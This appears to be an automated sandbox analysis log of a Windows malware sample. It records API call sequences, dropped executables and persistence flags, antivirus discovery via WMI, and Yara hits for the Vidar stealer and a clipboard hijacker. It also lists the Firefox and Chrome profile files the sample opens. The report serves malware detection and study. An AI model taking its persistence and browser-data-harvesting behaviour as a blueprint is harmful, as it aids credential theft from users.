Code function: 1_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

1_2_00419F90

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\Desktop\Z4CYGTBlj7.exe "C:\Users\user\Desktop\Z4CYGTBlj7.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\Desktop\Z4CYGTBlj7.exe "C:\Users\user\Desktop\Z4CYGTBlj7.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\Desktop\Z4CYGTBlj7.exe "C:\Users\user\Desktop\Z4CYGTBlj7.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe --Task
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe"
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe"
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 0_2_05DF80F6 cpuid

0_2_05DF80F6

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_05E03F87
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_05E049EA
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	0_2_05E0394D
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	0_2_05DFC8B7
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_05E10AB6
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	1_2_0043404A
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00438178
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00440116
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_004382A2
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	1_2_0043834F
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	1_2_00438423
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: EnumSystemLocalesW,	1_2_004387C8
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: GetLocaleInfoW,	1_2_0043884E
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	1_2_00432B6D
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	1_2_00432FAD
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	1_2_004335E7
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	1_2_00437BB3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: EnumSystemLocalesW,	1_2_00437E27
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437E83
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437F00
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	1_2_0042BF17
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00437F83
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	4_2_05E23F87
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	4_2_05E249EA
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	4_2_05E2394D
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	4_2_05E1C8B7
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_05E30AB6
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	5_2_0043404A
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	5_2_00438178
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_00440116
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_004382A2
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	5_2_0043834F
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	5_2_00438423
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	5_2_004335E7
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: EnumSystemLocalesW,	5_2_004387C8
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: GetLocaleInfoW,	5_2_0043884E
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	5_2_00432B6D
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	5_2_00437BB3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: EnumSystemLocalesW,	5_2_00437E27
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	5_2_00437E83
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	5_2_00437F00
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	5_2_0042BF17
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	5_2_00437F83
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	5_2_00432FAD

Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 0_2_00408AE4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00408AE4

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

1_2_00419F90

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 1_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

1_2_0042FE47

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

1_2_00419F90

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.0000000000808000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 29.2.mstsca.exe.24115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.mstsca.exe.9115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.build3.exe.9715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.build3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2746264570.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2354024907.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.4452588974.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3959334294.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3960348495.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2247201319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3372159400.0000000000910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2747130938.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2246217362.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3371066781.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 9.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.36815a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.36815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2113477496.0000000003680000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 3160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 6656, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm	Jump to behavior
